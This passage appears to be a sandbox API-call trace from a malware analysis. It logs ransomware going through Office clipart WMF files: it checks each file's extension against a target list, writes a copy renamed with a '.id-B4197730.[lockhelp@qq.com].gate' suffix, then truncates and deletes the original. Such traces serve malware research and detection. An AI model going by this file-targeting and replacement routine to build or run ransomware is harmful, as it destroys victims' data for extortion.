Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0291.099] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 1 [0291.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0291.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0291.100] lstrlenW (lpString=".doc") returned 4 [0291.100] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.100] lstrlenW (lpString=".docx") returned 5 [0291.100] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0291.100] lstrlenW (lpString=".pdf") returned 4 [0291.100] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.100] lstrlenW (lpString=".xls") returned 4 [0291.100] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.100] lstrlenW (lpString=".xlsx") returned 5 [0291.100] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0291.100] lstrlenW (lpString=".ppt") returned 4 [0291.100] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0291.100] lstrlenW (lpString=".zip") returned 4 [0291.100] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.100] lstrlenW (lpString=".rar") returned 4 [0291.100] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.100] lstrlenW (lpString=".bz2") returned 4 [0291.100] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.100] lstrlenW (lpString=".7z") returned 3 [0291.100] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0291.101] lstrlenW (lpString=".dbf") returned 4 [0291.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0291.101] lstrlenW (lpString=".1cd") returned 4 [0291.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0291.101] lstrlenW (lpString=".jpg") returned 4 [0291.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0291.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0291.101] lstrlenW (lpString=".doc") returned 4 [0291.101] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.101] lstrlenW (lpString=".docx") returned 5 [0291.101] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0291.101] lstrlenW (lpString=".pdf") returned 4 [0291.101] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.101] lstrlenW (lpString=".xls") returned 4 [0291.101] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.101] lstrlenW (lpString=".xlsx") returned 5 [0291.101] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0291.101] lstrlenW (lpString=".ppt") returned 4 [0291.101] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0291.101] lstrlenW (lpString=".zip") returned 4 [0291.102] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.102] lstrlenW (lpString=".rar") returned 4 [0291.102] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.102] lstrlenW (lpString=".bz2") returned 4 [0291.102] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.102] lstrlenW (lpString=".7z") returned 3 [0291.102] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0291.102] lstrlenW (lpString=".dbf") returned 4 [0291.102] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0291.102] lstrlenW (lpString=".1cd") returned 4 [0291.102] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0291.102] lstrlenW (lpString=".jpg") returned 4 [0291.102] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.102] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0291.102] lstrlenW (lpString="BS01634_.WMF") returned 12 [0291.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0291.222] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=3494) returned 1 [0291.222] CloseHandle (hObject=0x4d8) returned 1 [0291.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 0x220 [0291.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0291.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0291.227] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.227] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0291.228] GetLastError () returned 0x0 [0291.228] ReadFile (in: hFile=0x4d8, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0xda6, lpOverlapped=0x0) returned 1 [0291.312] WriteFile (in: hFile=0x4b0, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xdb0, lpOverlapped=0x0) returned 1 [0291.313] ReadFile (in: hFile=0x4d8, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0291.313] WriteFile (in: hFile=0x4b0, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0291.313] SetEndOfFile (hFile=0x4b0) returned 1 [0291.465] CloseHandle (hObject=0x4b0) returned 1 [0291.571] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.571] SetEndOfFile (hFile=0x4d8) returned 1 [0291.700] CloseHandle (hObject=0x4d8) returned 1 [0291.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0291.701] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 1 [0291.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0291.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0291.701] lstrlenW (lpString=".doc") returned 4 [0291.701] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.701] lstrlenW (lpString=".docx") returned 5 [0291.701] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0291.701] lstrlenW (lpString=".pdf") returned 4 [0291.701] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.701] lstrlenW (lpString=".xls") returned 4 [0291.701] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.702] lstrlenW (lpString=".xlsx") returned 5 [0291.702] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0291.702] lstrlenW (lpString=".ppt") returned 4 [0291.702] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0291.702] lstrlenW (lpString=".zip") returned 4 [0291.702] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.702] lstrlenW (lpString=".rar") returned 4 [0291.702] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.702] lstrlenW (lpString=".bz2") returned 4 [0291.702] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.702] lstrlenW (lpString=".7z") returned 3 [0291.702] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0291.702] lstrlenW (lpString=".dbf") returned 4 [0291.702] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0291.702] lstrlenW (lpString=".1cd") returned 4 [0291.702] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0291.702] lstrlenW (lpString=".jpg") returned 4 [0291.702] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0291.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0291.702] lstrlenW (lpString=".doc") returned 4 [0291.702] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.702] lstrlenW (lpString=".docx") returned 5 [0291.702] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0291.702] lstrlenW (lpString=".pdf") returned 4 [0291.702] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.703] lstrlenW (lpString=".xls") returned 4 [0291.703] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.703] lstrlenW (lpString=".xlsx") returned 5 [0291.703] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0291.703] lstrlenW (lpString=".ppt") returned 4 [0291.703] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0291.703] lstrlenW (lpString=".zip") returned 4 [0291.703] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.703] lstrlenW (lpString=".rar") returned 4 [0291.703] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.703] lstrlenW (lpString=".bz2") returned 4 [0291.703] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.703] lstrlenW (lpString=".7z") returned 3 [0291.703] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0291.703] lstrlenW (lpString=".dbf") returned 4 [0291.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0291.703] lstrlenW (lpString=".1cd") returned 4 [0291.703] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0291.703] lstrlenW (lpString=".jpg") returned 4 [0291.703] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.703] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0291.703] lstrlenW (lpString="BS01639_.WMF") returned 12 [0291.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0291.704] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=4236) returned 1 [0291.704] CloseHandle (hObject=0x4d8) returned 1 [0291.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 0x220 [0291.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0291.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0291.704] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.705] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0291.705] GetLastError () returned 0x0 [0291.705] ReadFile (in: hFile=0x4d8, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x108c, lpOverlapped=0x0) returned 1 [0291.785] WriteFile (in: hFile=0x4f8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x1090, lpOverlapped=0x0) returned 1 [0291.786] ReadFile (in: hFile=0x4d8, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0291.786] WriteFile (in: hFile=0x4f8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0291.786] SetEndOfFile (hFile=0x4f8) returned 1 [0291.787] CloseHandle (hObject=0x4f8) returned 1 [0291.787] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.787] SetEndOfFile (hFile=0x4d8) returned 1 [0291.862] CloseHandle (hObject=0x4d8) returned 1 [0291.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0291.867] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 1 [0291.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0291.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0291.875] lstrlenW (lpString=".doc") returned 4 [0291.875] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.875] lstrlenW (lpString=".docx") returned 5 [0291.875] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0291.875] lstrlenW (lpString=".pdf") returned 4 [0291.875] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.875] lstrlenW (lpString=".xls") returned 4 [0291.875] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.875] lstrlenW (lpString=".xlsx") returned 5 [0291.875] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0291.876] lstrlenW (lpString=".ppt") returned 4 [0291.876] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0291.876] lstrlenW (lpString=".zip") returned 4 [0291.876] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.876] lstrlenW (lpString=".rar") returned 4 [0291.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.876] lstrlenW (lpString=".bz2") returned 4 [0291.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.876] lstrlenW (lpString=".7z") returned 3 [0291.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0291.876] lstrlenW (lpString=".dbf") returned 4 [0291.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0291.876] lstrlenW (lpString=".1cd") returned 4 [0291.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0291.876] lstrlenW (lpString=".jpg") returned 4 [0291.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0291.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0291.876] lstrlenW (lpString=".doc") returned 4 [0291.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.876] lstrlenW (lpString=".docx") returned 5 [0291.876] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0291.876] lstrlenW (lpString=".pdf") returned 4 [0291.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.876] lstrlenW (lpString=".xls") returned 4 [0291.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.876] lstrlenW (lpString=".xlsx") returned 5 [0291.876] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0291.876] lstrlenW (lpString=".ppt") returned 4 [0291.877] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0291.877] lstrlenW (lpString=".zip") returned 4 [0291.877] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.877] lstrlenW (lpString=".rar") returned 4 [0291.877] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.877] lstrlenW (lpString=".bz2") returned 4 [0291.877] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.877] lstrlenW (lpString=".7z") returned 3 [0291.877] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0291.877] lstrlenW (lpString=".dbf") returned 4 [0291.877] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0291.877] lstrlenW (lpString=".1cd") returned 4 [0291.877] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0291.877] lstrlenW (lpString=".jpg") returned 4 [0291.877] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.877] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0291.877] lstrlenW (lpString="CLIP.WMF") returned 8 [0291.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0291.934] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2262) returned 1 [0291.934] CloseHandle (hObject=0x4c4) returned 1 [0291.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 0x220 [0291.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0291.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0291.945] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.945] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4fc [0291.953] GetLastError () returned 0x0 [0291.953] ReadFile (in: hFile=0x4b0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x8d6, lpOverlapped=0x0) returned 1 [0292.120] WriteFile (in: hFile=0x4fc, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x8e0, lpOverlapped=0x0) returned 1 [0292.121] ReadFile (in: hFile=0x4b0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0292.121] WriteFile (in: hFile=0x4fc, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xe4, lpOverlapped=0x0) returned 1 [0292.121] SetEndOfFile (hFile=0x4fc) returned 1 [0292.294] CloseHandle (hObject=0x4fc) returned 1 [0292.295] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.295] SetEndOfFile (hFile=0x4b0) returned 1 [0292.297] CloseHandle (hObject=0x4b0) returned 1 [0292.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0292.297] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 1 [0292.298] lstrlenW (lpString="C:\\Program Files\\Microsoft 